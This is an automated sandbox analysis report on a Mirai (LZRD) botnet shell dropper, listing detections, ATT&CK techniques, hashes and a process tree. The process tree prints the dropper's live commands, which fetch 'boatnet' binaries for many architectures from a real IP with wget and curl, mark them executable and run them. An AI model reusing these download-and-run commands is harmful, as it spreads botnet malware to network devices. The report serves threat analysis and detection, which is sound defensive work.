mirai | 7dafaee4c6dc91a023a6882f75d3b4c4404261d21e769043d9d19db88172b91a

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/10/2024, 06:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

na.sh
Size

2KB
MD5

4b8885cf53734502d543862cb1a89f00
SHA1

6a16f879228ca04c48854bd370b3f1d8142c8dad
SHA256

7dafaee4c6dc91a023a6882f75d3b4c4404261d21e769043d9d19db88172b91a
SHA512

6d8bf12b74faf46a6bd3e973cdac62e6b5692fdbd93804b679f8a79070dd8ae770a270efa1ebba6caad712fdfb503a843dd75bb8a04b57884d294d9e380a5b13

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
849	chmod
684	chmod
691	chmod
747	chmod
785	chmod
795	chmod
819	chmod
829	chmod
814	chmod
835	chmod
841	chmod
712	chmod
809	chmod
753	chmod
801	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	685	WTF
/tmp/WTF	692	WTF
/tmp/WTF	713	WTF
/tmp/WTF	749	WTF
/tmp/WTF	754	WTF
/tmp/WTF	786	WTF
/tmp/WTF	796	WTF
/tmp/WTF	802	WTF
/tmp/WTF	810	WTF
/tmp/WTF	815	WTF
/tmp/WTF	820	WTF
/tmp/WTF	830	WTF
/tmp/WTF	836	WTF
/tmp/WTF	842	WTF
/tmp/WTF	850	WTF

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-7.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/908/cmdline	WTF
File opened for reading	/proc/937/cmdline	WTF
File opened for reading	/proc/687/cmdline	WTF
File opened for reading	/proc/939/cmdline	WTF
File opened for reading	/proc/650/cmdline	WTF
File opened for reading	/proc/687/cmdline	WTF
File opened for reading	/proc/654/cmdline	WTF
File opened for reading	/proc/833/cmdline	WTF
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/846/cmdline	WTF
File opened for reading	/proc/652/cmdline	WTF
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/651/cmdline	WTF
File opened for reading	/proc/935/cmdline	WTF
File opened for reading	/proc/586/cmdline	WTF
File opened for reading	/proc/910/cmdline	WTF
File opened for reading	/proc/931/cmdline	WTF
File opened for reading	/proc/939/cmdline	WTF
File opened for reading	/proc/607/cmdline	WTF
File opened for reading	/proc/908/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/607/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/858/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/644/cmdline	WTF
File opened for reading	/proc/823/cmdline	WTF
File opened for reading	/proc/844/cmdline	WTF
File opened for reading	/proc/945/cmdline	WTF
File opened for reading	/proc/644/cmdline	WTF
File opened for reading	/proc/844/cmdline	WTF
File opened for reading	/proc/909/cmdline	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/846/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/898/cmdline	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/826/cmdline	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/935/cmdline	WTF
File opened for reading	/proc/805/cmdline	WTF
File opened for reading	/proc/941/cmdline	WTF
File opened for reading	/proc/945/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/861/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/659/cmdline	WTF
File opened for reading	/proc/943/cmdline	WTF
File opened for reading	/proc/859/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/606/cmdline	WTF
File opened for reading	/proc/821/cmdline	WTF
File opened for reading	/proc/847/cmdline	WTF
File opened for reading	/proc/910/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
688	wget
689	curl
690	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/WTF	na.sh
File opened for modification	/tmp/boatnet.i686	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.ppc	curl

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:654
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:656
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:683
- /bin/chmod
  chmod +x boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:685
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:689
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:690
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:692
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:694
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:702
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:710
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:713
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.i468
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:746
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:749
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:752
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:754
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:784
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:786
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:794
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:800
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:802
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:808
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:813
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:815
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:818
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:820
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:828
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:830
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.spc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:833
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:834
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:836
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:840
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:842
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:848
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:850

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/WTF

Filesize
23KB

MD5
506ddfc3e5aca187e25a5999e5a1831d

SHA1
b1d3848f7ba1aa7623dfbc847d8dacbca5638efd

SHA256
a9645840ed9e516a7929525539cb3f750e2176ee5a63a6ab5edc67b9857e85cc

SHA512
cace551488dfaf502f64dad0e72ce8114c89b09be173b1f8b5b25f2f707676f2b2a4563364de8a14e43c90745718faa4c56085be05b4afde2468b1b6d1bda9f8

Download Submit
/tmp/WTF

Filesize
105KB

MD5
21cb9e50f7583be51d7c2eec46220853

SHA1
8ac118d9a592462cb678be9adb048a79513f630b

SHA256
0f6e8d1e905d8315a00958f27de5749d2f89c22905562583b3107637e951ef17

SHA512
9b1b431c05afbedf967fadd0dea0a9f8c45da6feae88782604853ed02ff0b5c489bc2133509c2cd309d23c2b6aa7ef210786f23974ba1d37b84df25c762e3bef

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

Download Submit
/tmp/WTF

Filesize
21KB

MD5
efc47df0ee73aabfab41af37318e6c37

SHA1
accf3cbd7598fbef8db856b3b34c12754602b67e

SHA256
e333e97cda79c2a8f3bfbfb5d3955d1c621c72f5df85e04df8eda0a2ee0e4eaa

SHA512
e6b5b1d780b4ff3dc0fcaab57d79faf0c1d1ec5a5bf8e12cd7682fd48f1a286934f3d4eb53f2284ed916f0741a6d3d9faeb207ceec5c341dd677d3b82be6540c

Download Submit
/tmp/WTF

Filesize
57KB

MD5
66a56c16f522b7bdf95f3234594f5c78

SHA1
a7ce279c0f911929710c3e8839f101ad042e05b1

SHA256
f342e0dcb37cd8e8aa83e23aba7a0bd55b6c0ef91781f5489d2639c2572b71e2

SHA512
27063ba284cf60d37ce989f1158e2b6e627dafc65781cf969a8e5c3ffb00a874da2cdd8ae0648899a494b96e9ceb7d1c0743002e8f8453807957eedc9c34625e

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
564963951a15db2bf470836f8cab2ceb

SHA1
b8f28d04de5e47332496312ad77485c46bc36791

SHA256
1f605a76cf99ed4c898a7640ca264bc77d017f8da4faafe1bb784e7dd3a6f3af

SHA512
231a1ec99a07812b904a8fb2f2a52a2c7a9096227d3d9665fc7a0f0379250c1f36238cd0ea976dba043bc9bd68df34126f26aa65070722e8584263ade7c7acd6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads